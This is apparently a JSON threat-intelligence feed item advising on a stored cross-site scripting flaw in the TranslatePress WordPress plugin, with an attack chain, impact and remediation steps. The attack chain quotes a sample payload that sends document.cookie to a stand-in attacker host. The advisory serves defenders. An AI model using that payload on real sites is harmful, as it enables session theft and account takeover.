{"description":"Trending threats, MITRE ATT\u0026CK coverage, and detection metadata. Fed continuously.","favicon":"https://feed.craftedsignal.io/favicon-32x32.png","feed_url":"https://feed.craftedsignal.io/products/translatepress--translate-multilingual-sites-with-ai-translation--3.3.7/feed.json","home_page_url":"https://feed.craftedsignal.io/","icon":"https://feed.craftedsignal.io/apple-touch-icon.png","items":[{"_cs_actors":[],"_cs_cpes":["cpe:2.3:a:translatepress:translatepress:*:*:*:*:*:wordpress:*:*"],"_cs_cves":[{"cvss":7.2,"id":"CVE-2026-107768"}],"_cs_exploited":false,"_cs_has_poc":false,"_cs_poc_references":[],"_cs_products":["TranslatePress – Translate Multilingual sites with AI Translation (\u003c= 3.3.7)"],"_cs_severities":["high"],"_cs_tags":[],"_cs_type":"advisory","_cs_vendors":["TranslatePress"],"content_html":"\u003cp\u003eThe TranslatePress - Translate Multilingual sites with AI Translation plugin for WordPress is affected by a Stored Cross-Site Scripting (XSS) vulnerability, tracked as CVE-2026-107768. All versions up to and including 3.3.7 are susceptible to this flaw, which stems from insufficient input sanitization and output escaping within the comment parameter. An unauthenticated attacker can leverage this vulnerability to inject arbitrary JavaScript into comments. This malicious script subsequently executes in the browser of any user - including administrators - who views the page where the injected comment is displayed. The vulnerability is highly relevant to defenders as it requires the site to have a secondary language configured and allow unmoderated comment submissions, which aligns with common configurations for multilingual WordPress deployments. Successful exploitation could lead to administrative account takeover via session hijacking or the redirection of site visitors to malicious domains.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker identifies a WordPress site running a vulnerable version of TranslatePress (\u0026lt;= 3.3.7).\u003c/li\u003e\n\u003cli\u003eAttacker verifies the target site has a secondary language enabled and allows unmoderated comment submissions.\u003c/li\u003e\n\u003cli\u003eAttacker crafts a malicious payload containing JavaScript, such as '\u0026lt;script\u0026gt;fetch('https://attacker.com/steal?c='+document.cookie)\u0026lt;/script\u0026gt;'.\u003c/li\u003e\n\u003cli\u003eAttacker submits the payload through the standard WordPress comment form on a public-facing post.\u003c/li\u003e\n\u003cli\u003eThe TranslatePress plugin processes the comment, failing to sanitize the malicious script within the comment parameter.\u003c/li\u003e\n\u003cli\u003eThe WordPress database stores the unsanitized script as part of the comment content.\u003c/li\u003e\n\u003cli\u003eA legitimate user, such as an administrator, visits the affected page where the comment is rendered.\u003c/li\u003e\n\u003cli\u003eThe user's browser executes the stored JavaScript, leading to potential session theft or unauthorized actions on behalf of the user.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of CVE-2026-107768 allows for the execution of arbitrary JavaScript in the context of a victim's session. Depending on the target's role, this can result in the full compromise of user accounts, theft of sensitive session cookies, or the defacement of the affected website. Because the payload is stored persistently, it may affect any user visiting the page, increasing the overall risk to the organization's user base and administrative environment.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eUpdate the TranslatePress plugin to the latest available version (beyond 3.3.7) immediately to remediate the lack of input sanitization.\u003c/li\u003e\n\u003cli\u003eMonitor web server logs for HTTP POST requests directed at comment submission endpoints that contain script tags or suspicious JavaScript patterns.\u003c/li\u003e\n\u003cli\u003eEnforce comment moderation policies to prevent unauthenticated users from posting content directly to public-facing pages without verification.\u003c/li\u003e\n\u003cli\u003eImplement a strict Content Security Policy (CSP) to restrict the execution of unauthorized scripts within the browser context.\u003c/li\u003e\n\u003c/ol\u003e\n","date_modified":"2026-10-16T08:25:15Z","date_published":"2026-10-16T08:25:15Z","id":"https://feed.craftedsignal.io/briefs/2026-10-translatepress-xss/","summary":"The TranslatePress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the comment parameter, allowing unauthenticated attackers to execute arbitrary web scripts.","title":"Stored Cross-Site Scripting in TranslatePress WordPress Plugin","url":"https://feed.craftedsignal.io/briefs/2026-10-translatepress-xss/"}],"language":"en","title":"CraftedSignal Threat Feed - TranslatePress – Translate Multilingual Sites With AI Translation (\u003c= 3.3.7)","version":"https://jsonfeed.org/version/1.1"}